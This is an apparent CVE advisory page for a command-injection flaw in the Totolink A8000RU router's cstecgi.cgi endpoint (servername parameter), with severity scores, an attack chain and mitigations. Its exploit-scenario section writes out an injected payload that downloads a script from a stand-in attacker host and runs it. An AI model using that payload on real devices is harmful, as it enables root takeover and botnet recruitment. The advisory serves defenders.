Skip to main content

Totolink A8000RU EUVDEUVD-2026-31670

| CVE-2026-9454 HIGH
OS Command Injection (CWE-78)
2026-05-25 VulDB GHSA-3h6x-px3r-wh95
Command Injection TOTOLINK A8000Ru
8.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Discover exposed A8000RU admin interface
  2. Delivery
    Craft POST to /cgi-bin/cstecgi.cgi
  3. Exploit
    Inject shell metacharacters in servername parameter
  4. Install
    setOpenVpnCertGenerationCfg passes argument to shell
  5. C2
    Command executes as root on router
  6. Execute
    Install persistent implant or botnet agent
  7. Impact
    Pivot to internal network or join DDoS swarm

Vulnerability Assessment

Weakness
CWE
CWE-78
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

Requires network reachability to TCP-accessible Web Management Interface of a Totolink A8000RU running firmware 7.1cu.643_b20200521, and the ability to reach the /cgi-bin/cstecgi.cgi endpoint with the setOpenVpnCertGenerationCfg action. No authentication, no privileges, and no user interaction are required (CVSS PR:N/UI:N), and the vulnerable code path is part of the default Web Management Interface rather than a non-default feature. Realistic limiting factors are deployment-specific: the admin interface is typically LAN-only by default, so internet-facing exploitation depends on the operator having enabled remote management or exposed the admin port through port-forwarding or misconfigured firewall rules.
Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, E:P) describes a network-accessible, low-complexity, unauthenticated bug with proven exploit code - a worst-case profile for an internet-exposed device. However, EPSS at 0.89% (76th percentile) is moderate rather than alarming, and the lack of CISA KEV listing suggests targeted research interest (VulDB submission, GitHub PoC) rather than confirmed mass exploitation. The most material signal is that the Web Management Interface is frequently exposed to the LAN by default and occasionally to the WAN, and Totolink devices have a recurring history of being recruited into IoT botnets (Mirai variants), so the realistic risk skews higher than EPSS alone implies for any device with admin interface reachability from untrusted networks.
Exploit ScenarioDerived

An attacker with network reachability to the router's Web Management Interface sends a single crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setOpenVpnCertGenerationCfg with a servername value containing shell metacharacters (e.g. ; wget http://attacker/x -O /tmp/x; sh /tmp/x). Because exploitation requires no authentication, no user interaction, and a public PoC at https://github.com/Litengzheng/vuldb_new2/blob/main/A8000RU/vul_341/README.md already demonstrates the request shape, an opportunistic scanner can chain this into root-level shell access and recruit the device into a botnet within seconds.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary commands via the servername parameter of the setOpenVpnCertGenerationCfg function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub PoC), and although the EPSS score is modest (0.89%, 76th percentile), the CVSS 4.0 score of 8.9 reflects network-reachable, no-privilege, no-interaction exploitation with high confidentiality, integrity, and availability impact. No CISA KEV listing has been recorded at the time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis - Totolink has not published a fixed firmware build for the A8000RU in the available references (https://www.totolink.net/, https://nvd.nist.gov/vuln/detail/CVE-2026-9454, https://vuldb.com/vuln/365435). As compensating controls, restrict access to the Web Management Interface to trusted management VLANs only and explicitly disable WAN-side administration in the router configuration (trade-off: remote admin convenience is lost); block inbound TCP to the HTTP/HTTPS admin ports at any upstream firewall; and where feasible, deny requests to /cgi-bin/cstecgi.cgi from non-management subnets via an upstream reverse proxy or ACL (trade-off: may break legitimate management workflows that traverse those networks). Where the device is end-of-life or vendor-unresponsive, plan migration to a supported router model, since command-injection bugs in cstecgi.cgi have been a recurring Totolink issue and unpatched devices are common botnet targets.

Affected VersionsENISA

A8000RU 7.1cu.643_b20200521

Affected Packages

euvd a8000ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

The vulnerability resides in cstecgi.cgi, the central CGI handler exposed by the Totolink A8000RU Web Management Interface, which dispatches requests to internal handlers including setOpenVpnCertGenerationCfg used during OpenVPN certificate generation. The servername argument is passed without proper sanitization to an underlying shell invocation, matching CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The affected CPE cpe:2.3:a:totolink:a8000ru:*:*:*:*:*:*:*:* identifies the A8000RU SOHO/SMB router running the vulnerable 7.1cu.643_b20200521 firmware build, a Linux/BusyBox-based platform where shell metacharacter injection typically yields code execution as root.

Know when A8000Ru gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
May 26, 2026 - 19:07 NVD
CRITICAL HIGH
CVSS changed
May 26, 2026 - 19:07 NVD
9.8 (CRITICAL) 8.9 (HIGH)
CVE Published
May 25, 2026 - 11:30 nvd
HIGH 8.9

DescriptionCVE.org

A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setOpenVpnCertGenerationCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Executing a manipulation of the argument servername can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used.

Executive ViewAI

Why It Matters

The Totolik A8000RU router (firmware 7.1cu.643_b20200521) contains a critical remote code execution vulnerability allowing unauthenticated attackers to execute arbitrary commands through the OpenVPN certificate configuration interface with a CVSS score of 8.9. With publicly available exploit code and no vendor patch, any exposed device is at immediate risk of complete compromise, enabling attackers to intercept network traffic, modify configurations, or establish persistent access for lateral movement into internal systems. Organizations deploying this router model must immediately assess exposure and implement protective controls.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) Firewall ACLs restricting administrative access to authorized internal networks only; (2) IDS/IPS signatures detecting command injection attacks targeting the vulnerable CGI endpoint; (3) Network segmentation isolating the router from systems containing sensitive data; (4) Continuous log monitoring for unexpected command execution or configuration modifications; (5) Disabling OpenVPN functionality if operationally feasible; (6) Expedited evaluation of router replacement or upgrade as primary risk mitigation.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in A8000Ru

View all
CVE-2026-9436 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9478 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
CVE-2026-9477 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
CVE-2026-9476 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke
CVE-2026-9475 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke
CVE-2026-9458 HIGH POC
8.9 May 25

Remote OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated attacke
CVE-2026-9457 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9456 HIGH POC
8.9 May 25

Remote OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows unauthenticated attackers to

CVE-2026-9455 HIGH POC
8.9 May 25

OS command injection in TOTOLINK A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9435 HIGH POC
8.9 May 25

OS command injection in Totolink A8000RU router firmware 7.1cu.643_b20200521 allows remote unauthenticated attackers to

CVE-2026-9434 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attacke
CVE-2026-9433 HIGH POC
8.9 May 25

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attacke

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2020-9054 CRITICAL POC
9.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2016-3081 HIGH POC
8.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-9454 REF https://vuldb.com/submit/813447 REF https://vuldb.com/vuln/365435 REF https://vuldb.com/vuln/365435/cti REF https://www.totolink.net/

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy